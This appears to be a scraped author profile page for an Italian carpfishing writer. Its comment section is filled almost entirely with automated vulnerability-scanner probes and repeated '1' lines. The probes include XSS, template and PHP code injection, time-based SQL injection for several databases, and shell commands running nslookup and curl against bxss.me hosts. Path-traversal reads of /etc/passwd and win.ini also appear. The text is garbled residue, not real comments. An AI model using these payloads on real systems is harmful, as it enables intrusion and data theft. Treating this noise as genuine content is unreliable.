Tiziano Alessi
Pratica carpfishing dal 1993. Ha pescato in Italia, Francia, Slovenia, Austria, Svizzera
Pratica carpfishing dal 1993. Ha pescato in Italia, Francia, Slovenia, Austria, Svizzera
All comments
1
1
1
1
1
1
1
1
1FAW68[!+!]
1
1vAReb qw9y(9758)
1}body{zzz:Expre/**/SSion(qw9y(9002))}
1
1
1
1
1
1
1
1<ScRiPt>qw9y(9423)</sCripT>
1
1\u003CScRiPt\qw9y(9449)\u003C/sCripT\u003E
%31%3C%53%63%52%69%50%74%20%3E%71%77%39%79%289383%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1qw9y(9375)
1
1qw9y(9556)
1qw9y(9132)
1qw9y(9609)9609
1
1
1
1
1
1qw9y(9121)
1
1NJQQ3[!+!]
1
1qw9y(9938)
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
1
dfb[[${98991*97996}]]xca
1
dfb{{98991*97996}}xca
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
1
1
1
bfgx3105
1
bfg7629＜s1﹥s2ʺs3ʹhjl7629
1
19000320
1
'"()&%qw9y(9856)
1'"()&%qw9y(9243)
1
1
1
1
1
1
1
1
1
1
1
1
1
1IZEUW[!+!]
1PVYCb VmSf(9919)
1}body{zzz:Expre/**/SSion(VmSf(9439))}
1
1
1
1
1
1
1
1
1
1<ScRiPt>VmSf(9170)</sCripT>
1
1\u003CScRiPt\VmSf(9322)\u003C/sCripT\u003E
1
%31%3C%53%63%52%69%50%74%20%3E%56%6D%53%66%289385%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1VmSf(9897)
1
1
1
1VmSf(9564)
1VmSf(9092)
1
1VmSf(9395)9395
1
1VmSf(9336)
1
1ISAMH[!+!]
1
1VmSf(9893)
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
dfb__${98991*97996}__::.x
dfb[[${98991*97996}]]xca
1
1
dfb{{98991*97996}}xca
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
bfgx1686
bfg5099＜s1﹥s2ʺs3ʹhjl5099
1
19040228
'"()&%VmSf(9241)
1
1'"()&%VmSf(9743)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1VZ2BO[!+!]
1B82AY[!+!]
1
1
1
1j5vM7 6nk8(9169)
1
1gBo72 6FRR(9790)
1TNBFR[!+!]
1
1
1}body{zzz:Expre/**/SSion(6FRR(9368))}
1}body{zzz:Expre/**/SSion(6nk8(9624))}
1
1
1MN45a BNIp(9185)
1
1}body{zzz:Expre/**/SSion(BNIp(9451))}
1
1
1
1
1
1
1
1
1
1
1
1
1
1<ScRiPt>6nk8(9664)</sCripT>
1
1
1
1<ScRiPt>6FRR(9471)</sCripT>
1\u003CScRiPt\6nk8(9495)\u003C/sCripT\u003E
1
1<ScRiPt>BNIp(9740)</sCripT>
1
1
1\u003CScRiPt\6FRR(9423)\u003C/sCripT\u003E
%31%3C%53%63%52%69%50%74%20%3E%36%6E%6B%38%289671%29%3C%2F%73%43%72%69%70%54%3E
1
1\u003CScRiPt\BNIp(9989)\u003C/sCripT\u003E
1
1
%31%3C%53%63%52%69%50%74%20%3E%36%46%52%52%289142%29%3C%2F%73%43%72%69%70%54%3E
1
1
%31%3C%53%63%52%69%50%74%20%3E%42%4E%49%70%289382%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1BNIp(9692)
1
16FRR(9912)
1
1
16nk8(9271)
1
1
1
1
1
1
1BNIp(9025)
16FRR(9567)
16nk8(9236)
1
1
1BNIp(9213)
16FRR(9645)
1
1
1
16nk8(9189)
16FRR(9933)9933
1BNIp(9334)9334
1
1
16nk8(9021)9021
1
1BNIp(9820)
1
16FRR(9003)
16nk8(9889)
1
1
1R1EY0[!+!]
1ILJMB[!+!]
1
1
1
18F9OL[!+!]
1
1
1BNIp(9343)
16FRR(9098)
1
16nk8(9714)
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
1
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
1
1
1
dfb[[${98991*97996}]]xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
1
dfb{{98991*97996}}xca
1
dfb{{98991*97996}}xca
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
dfb{{98991*97996}}xca
1
1}}"}}'}}1%>"%>'%>
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
bfgx8632
1
1
1
bfg8830＜s1﹥s2ʺs3ʹhjl8830
1
1
1
1
19127681
bfgx4734
1
1
'"()&%BNIp(9380)
bfg6681＜s1﹥s2ʺs3ʹhjl6681
1
1
1
bfgx7217
1'"()&%BNIp(9071)
1
1
19902725
1
bfg5531＜s1﹥s2ʺs3ʹhjl5531
1
1
'"()&%6FRR(9179)
19871896
1'"()&%6FRR(9070)
'"()&%6nk8(9137)
1'"()&%6nk8(9253)
1
1
1
1
1
16PTR4[!+!]
1
1KLNSt QpHO(9729)
1
1}body{zzz:Expre/**/SSion(QpHO(9612))}
1
1
1
1
1
1
1
1
1
1
1
1<ScRiPt>QpHO(9280)</sCripT>
1
1\u003CScRiPt\QpHO(9615)\u003C/sCripT\u003E
1
%31%3C%53%63%52%69%50%74%20%3E%51%70%48%4F%289113%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1QpHO(9610)
1
1
1
1
1QpHO(9954)
1QpHO(9762)
1
1QpHO(9854)9854
1
1QpHO(9986)
1
1
1
1
1ISG2G[!+!]
1
1QpHO(9286)
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
bfgx1603
bfg7097＜s1﹥s2ʺs3ʹhjl7097
1
19974239
'"()&%QpHO(9996)
1'"()&%QpHO(9925)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1KBSOK[!+!]
1
1v2yzP esE1(9926)
1
1}body{zzz:Expre/**/SSion(esE1(9534))}
1
1
1
1
1
1
1<ScRiPt>esE1(9930)</sCripT>
1
1
1\u003CScRiPt\esE1(9957)\u003C/sCripT\u003E
1
%31%3C%53%63%52%69%50%74%20%3E%65%73%45%31%289251%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1esE1(9362)
1
1esE1(9776)
1esE1(9027)
1esE1(9248)9248
1esE1(9388)
1
1SREOB[!+!]
1
1esE1(9004)
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
dfb__${98991*97996}__::.x
1
dfb[[${98991*97996}]]xca
1
1
dfb{{98991*97996}}xca
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
bfgx5737
1
bfg9982＜s1﹥s2ʺs3ʹhjl9982
1
19272420
'"()&%esE1(9148)
1'"()&%esE1(9077)
1
1
1
1
1
1
1
1
1
1
1
1
1
1P91IP[!+!]
1
12SMTJ YDIu(9141)
1}body{zzz:Expre/**/SSion(YDIu(9323))}
1
1
1
1
1
1<ScRiPt>YDIu(9581)</sCripT>
1
1
1\u003CScRiPt\YDIu(9346)\u003C/sCripT\u003E
1
1
1
%31%3C%53%63%52%69%50%74%20%3E%59%44%49%75%289995%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1YDIu(9949)
1
1
1YDIu(9019)
1
1YDIu(9445)
1
1YDIu(9996)9996
1YDIu(9712)
1
1OX1YH[!+!]
1
1YDIu(9966)
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
1
1
dfb[[${98991*97996}]]xca
1
dfb{{98991*97996}}xca
1
1
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
1
1
bfgx5113
bfg3719＜s1﹥s2ʺs3ʹhjl3719
19600793
'"()&%YDIu(9923)
1
1'"()&%YDIu(9030)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1DDGDE[!+!]
1YWqjT B9Rr(9951)
1
1}body{zzz:Expre/**/SSion(B9Rr(9050))}
1
1
1
1
1
1
1
1<ScRiPt>B9Rr(9311)</sCripT>
1
1\u003CScRiPt\B9Rr(9507)\u003C/sCripT\u003E
1
%31%3C%53%63%52%69%50%74%20%3E%42%39%52%72%289768%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1B9Rr(9542)
1
1
1
1
1
1B9Rr(9913)
1B9Rr(9902)
1
1
1B9Rr(9253)9253
1
1B9Rr(9305)
1OQ4V2[!+!]
1
1B9Rr(9727)
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
dfb[[${98991*97996}]]xca
1
dfb{{98991*97996}}xca
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
bfgx1274
bfg7729＜s1﹥s2ʺs3ʹhjl7729
1
19507179
1
'"()&%B9Rr(9625)
1'"()&%B9Rr(9151)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1SQ0E9[!+!]
1
1kSKqH P0lu(9880)
1}body{zzz:Expre/**/SSion(P0lu(9612))}
1
1
1
1
1
1<ScRiPt>P0lu(9426)</sCripT>
1
1\u003CScRiPt\P0lu(9194)\u003C/sCripT\u003E
%31%3C%53%63%52%69%50%74%20%3E%50%30%6C%75%289411%29%3C%2F%73%43%72%69%70%54%3E
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1P0lu(9603)
1
1
1
1
1
1
1
1
1
1P0lu(9809)
1
1P0lu(9726)
1
1P0lu(9266)9266
1
1P0lu(9615)
1
1MVMO3[!+!]
1P0lu(9676)
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
1
dfb__${98991*97996}__::.x
1
1
dfb[[${98991*97996}]]xca
1
1
1
dfb{{98991*97996}}xca
1
1
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
1
1
1
bfgx3356
1
bfg5084＜s1﹥s2ʺs3ʹhjl5084
1
19663674
1
'"()&%P0lu(9900)
1'"()&%P0lu(9131)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@um5KU
1
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1VlDG8OgH')) OR 103=(SELECT 103 FROM PG_SLEEP(15))--
1aOtGoRmN') OR 777=(SELECT 777 FROM PG_SLEEP(15))--
1umx0Nrzt' OR 560=(SELECT 560 FROM PG_SLEEP(15))--
1-1)) OR 336=(SELECT 336 FROM PG_SLEEP(15))--
1-1) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
1-1 OR 406=(SELECT 406 FROM PG_SLEEP(15))--
1i9PGbfYj'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 3+320-320-1=0+0+0+1 --
-1" OR 2+320-320-1=0+0+0+1 --
-1' OR 3+522-522-1=0+0+0+1 or 'Io0oaBPo'='
-1' OR 2+522-522-1=0+0+0+1 or 'Io0oaBPo'='
-1' OR 3+567-567-1=0+0+0+1 --
-1' OR 2+567-567-1=0+0+0+1 --
-1 OR 3+773-773-1=0+0+0+1
-1 OR 2+773-773-1=0+0+0+1
1
1
-1 OR 3+713-713-1=0+0+0+1 --
1
-1 OR 2+713-713-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1HM5QH[!+!]
1
1
1
1
1
1
1P6q9(9255)
[php]print(md5(31337));[/php]
1
1
1
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
{php}print(md5(31337));{/php}
1
1
1
dfb__${98991*97996}__::.x
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
dfb[[${98991*97996}]]xca
1
1
1
1
1
dfb{{98991*97996}}xca
1
print(md5(31337));//
1
1
1
1}}"}}'}}1%>"%>'%>
1
'{${print(md5(31337))}}'
1
1
1
1
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
bfgx10064
${@print(md5(31337))}\
1
1
1
1
bfg6428＜s1﹥s2ʺs3ʹhjl6428
${@print(md5(31337))}
1
1
1
1
19465159
";print(md5(31337));$a="
1
1
1
';print(md5(31337));$a='
1
1
1
1
1
1
1
1
'"
'"()&%P6q9(9008)
1
1
1
1'"()&%P6q9(9961)
1
1
1
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1
xfs.bxss.me
1
1
1
1
1
1
1
ajax.php/.
1
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1
1
1
1
1
1
1
1
1
1
1
1
1
1
ajax.php
1
1
1
1
1
1
1
1
1
1
1
ajax.php
1
1
1
1
1
1
1
1
1
1
1
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitvribvjhkgj96591.bxss.me||curl${IFS}hitvribvjhkgj96591.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitvribvjhkgj96591.bxss.me||curl${IFS}hitvribvjhkgj96591.bxss.me)&`'
1
'A'.concat(70-3).concat(22*4).concat(105).concat(83).concat(102).concat(83)+(require'socket' Socket.gethostbyname('hitgj'+'zrrknlwu21a77.bxss.me.')[3].to_s)
1
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitymsgkywati6d31d.bxss.me||curl${IFS}hitymsgkywati6d31d.bxss.me)
1
'+'A'.concat(70-3).concat(22*4).concat(122).concat(89).concat(110).concat(71)+(require'socket' Socket.gethostbyname('hitfx'+'qhtlqdbf9ec7d.bxss.me.')[3].to_s)+'
1
1
1
1
;(nslookup -q=cname hitsqfkxboyhia1c0f.bxss.me||curl hitsqfkxboyhia1c0f.bxss.me)|(nslookup -q=cname hitsqfkxboyhia1c0f.bxss.me||curl hitsqfkxboyhia1c0f.bxss.me)&(nslookup -q=cname hitsqfkxboyhia1c0f.bxss.me||curl hitsqfkxboyhia1c0f.bxss.me)
1
1
"+"A".concat(70-3).concat(22*4).concat(110).concat(70).concat(103).concat(85)+(require"socket" Socket.gethostbyname("hitnr"+"usbpqjmx4d98e.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
1
bxss.me/t/xss.html?%00
1
1
1
1
HttP://bxss.me/t/xss.html?%00
1
1
1
1
1
`(nslookup -q=cname hityjvgghgkxjc1033.bxss.me||curl hityjvgghgkxjc1033.bxss.me)`
1
1
1
1
1
|(nslookup -q=cname hitzxhrixuumo4a73e.bxss.me||curl hitzxhrixuumo4a73e.bxss.me)
1
1
&(nslookup -q=cname hitjdxfrlzacb1700c.bxss.me||curl hitjdxfrlzacb1700c.bxss.me)&'\"`0&(nslookup -q=cname hitjdxfrlzacb1700c.bxss.me||curl hitjdxfrlzacb1700c.bxss.me)&`'
1
&nslookup -q=cname hitdawkbntfwff2ac1.bxss.me&'\"`0&nslookup -q=cname hitdawkbntfwff2ac1.bxss.me&`'
1
1
gethostbyname(lc('hitah'.'hvevzama812b8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(102).chr(89)
1
1
1
".gethostbyname(lc("hitjv"."erpgwqdc6c5b6.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(87).chr(117).chr(85)."
1
1
1
1
'.gethostbyname(lc('hittz'.'cmvziilv3bd22.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(82).chr(102).chr(72).'
1
1"||sleep(27*1000)*cnuxxg||"
1
1
1
1
1
1
1'||sleep(27*1000)*qsfzia||'
1
1
1
1
1
1"&&sleep(27*1000)*tjfzqm&&"
1
1'&&sleep(27*1000)*auvwko&&'
1
1
1
$(nslookup -q=cname hitljruhpkxmyac522.bxss.me||curl hitljruhpkxmyac522.bxss.me)
1
'"()
1
(nslookup -q=cname hititjqhmhnla9be22.bxss.me||curl hititjqhmhnla9be22.bxss.me))
^(#$!@#$)(()))******
1
1
expr 9000221005 - 917214
1
1
!(()&&!|*|*|
1
1
1|echo yxpzdd$()\ gaamkr\nz^xyu||a #' |echo yxpzdd$()\ gaamkr\nz^xyu||a #|" |echo yxpzdd$()\ gaamkr\nz^xyu||a #
1
)
1
1
|echo uvuqul$()\ smkxcd\nz^xyu||a #' |echo uvuqul$()\ smkxcd\nz^xyu||a #|" |echo uvuqul$()\ smkxcd\nz^xyu||a #
1
1
1
1
1&n900065=v929187
redirtest.acx
1
bxss.me
1
1
1&echo zomrou$()\ zfoimf\nz^xyu||a #' &echo zomrou$()\ zfoimf\nz^xyu||a #|" &echo zomrou$()\ zfoimf\nz^xyu||a #
1
1
c:/windows/win.ini
1
&echo ipvapz$()\ otgric\nz^xyu||a #' &echo ipvapz$()\ otgric\nz^xyu||a #|" &echo ipvapz$()\ otgric\nz^xyu||a #
1
1
1
echo nicsxx$()\ rxibag\nz^xyu||a #' &echo nicsxx$()\ rxibag\nz^xyu||a #|" &echo nicsxx$()\ rxibag\nz^xyu||a #
1
1
1
1
1
1
1
1
../../../../../../../../../../../../../../etc/shells
1
1
1
1
1
/etc/shells
1
1
http://bxss.me/t/fit.txt?.jpg
1
1
1
1
Http://bxss.me/t/fit.txt
1
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs .jpg
${9999342+10000411}
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1
1
1
1
1
12345'"\'\");|]* {
1
1
1
1
1
../1
1
1
1
1
1
1
file:///etc/passwd
1
1
dF5x9ibt: MiVrdbyy
../../../../../../../../../../../../../../windows/win.ini
1
../../../../../../../../../../../../../../etc/passwd
1
5SI3TjtP
1
1
1
1
1
"+response.write(9237682*9454023)+"
'+response.write(9237682*9454023)+'
1KDLK4LZY6T0
1
response.write(9237682*9454023)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
(select 198766*667891 from DUAL)
(select 198766*667891)
@@1TP3U
1
1'"
1
(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1O5ffS6j6')) OR 318=(SELECT 318 FROM PG_SLEEP(15))--
1dXUomMZb') OR 608=(SELECT 608 FROM PG_SLEEP(15))--
1isEEs8zQ' OR 675=(SELECT 675 FROM PG_SLEEP(15))--
1-1)) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
1-1) OR 467=(SELECT 467 FROM PG_SLEEP(15))--
1-1 OR 187=(SELECT 187 FROM PG_SLEEP(15))--
1HMeHYfB6'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=26 or "N27WDc7W"="
-1" OR 5*5=25 or "N27WDc7W"="
-1' OR 5*5=26 or 'pF14jw3V'='
-1' OR 5*5=25 or 'pF14jw3V'='
-1" OR 5*5=26 --
-1" OR 5*5=25 --
-1' OR 5*5=26 --
-1' OR 5*5=25 --
-1 OR 5*5=26
-1 OR 5*5=25
-1 OR 5*5=26 --
-1 OR 5*5=25 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
[php]print(md5(31337));[/php]
{php}print(md5(31337));{/php}
print(md5(31337));//
'{${print(md5(31337))}}'
1
'.print(md5(31337)).'
1UKNJU[!+!]
${@print(md5(31337))}\
1sUiq(9602)
${@print(md5(31337))}
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
";print(md5(31337));$a="
dfb__${98991*97996}__::.x
';print(md5(31337));$a='
dfb[[${98991*97996}]]xca
dfb{{98991*97996}}xca
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
1
1
1}}"}}'}}1%>"%>'%>
1
1
1
bfgx9428
1
bfg3742＜s1﹥s2ʺs3ʹhjl3742
1
19852402
1
'"()&%sUiq(9476)
1
1'"()&%sUiq(9621)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'A'.concat(70-3).concat(22*4).concat(116).concat(80).concat(104).concat(78)+(require'socket' Socket.gethostbyname('hitgx'+'gqehqozy3d530.bxss.me.')[3].to_s)
1
'+'A'.concat(70-3).concat(22*4).concat(104).concat(81).concat(119).concat(79)+(require'socket' Socket.gethostbyname('hitym'+'owkdoqrlc1d55.bxss.me.')[3].to_s)+'
1
"+"A".concat(70-3).concat(22*4).concat(119).concat(86).concat(121).concat(75)+(require"socket" Socket.gethostbyname("hitkd"+"udysfeauaacf4.bxss.me.")[3].to_s)+"
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
gethostbyname(lc('hitfo'.'jxyuewlgc8aa4.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(74).chr(119).chr(66)
".gethostbyname(lc("hitms"."zairopep8c574.bxss.me."))."A".chr(67).chr(hex("58")).chr(113).chr(78).chr(115).chr(86)."
'.gethostbyname(lc('hitsj'.'gaecurst95782.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(71).chr(98).chr(72).'
1
1
1"||sleep(27*1000)*ifjsxj||"
1
1'||sleep(27*1000)*qtyqhb||'
1"&&sleep(27*1000)*ezwtlu&&"
1
1'&&sleep(27*1000)*matbxe&&'
1
'"()
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
"+response.write(9213211*9701645)+"
'+response.write(9213211*9701645)+'
response.write(9213211*9701645)
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
@@nQQ1Z
1
1'"
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1nIkz9zeu')) OR 323=(SELECT 323 FROM PG_SLEEP(15))--
1kBMHN3Zk') OR 836=(SELECT 836 FROM PG_SLEEP(15))--
1NYRKB82l' OR 974=(SELECT 974 FROM PG_SLEEP(15))--
1-1)) OR 478=(SELECT 478 FROM PG_SLEEP(15))--
1-1) OR 40=(SELECT 40 FROM PG_SLEEP(15))--
1-1 OR 320=(SELECT 320 FROM PG_SLEEP(15))--
1WPtzTcY5'; waitfor delay '0:0:15' --
1-1 waitfor delay '0:0:15' --
1-1); waitfor delay '0:0:15' --
1-1; waitfor delay '0:0:15' --
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1*if(now()=sysdate(),sleep(15),0)
-1" OR 3+769-769-1=0+0+0+1 --
-1" OR 2+769-769-1=0+0+0+1 --
-1' OR 3+793-793-1=0+0+0+1 or 'IjD8L7Fc'='
-1' OR 2+793-793-1=0+0+0+1 or 'IjD8L7Fc'='
-1' OR 3+160-160-1=0+0+0+1 --
-1' OR 2+160-160-1=0+0+0+1 --
-1 OR 3+126-126-1=0+0+0+1
-1 OR 2+126-126-1=0+0+0+1
-1 OR 3+85-85-1=0+0+0+1 --
-1 OR 2+85-85-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1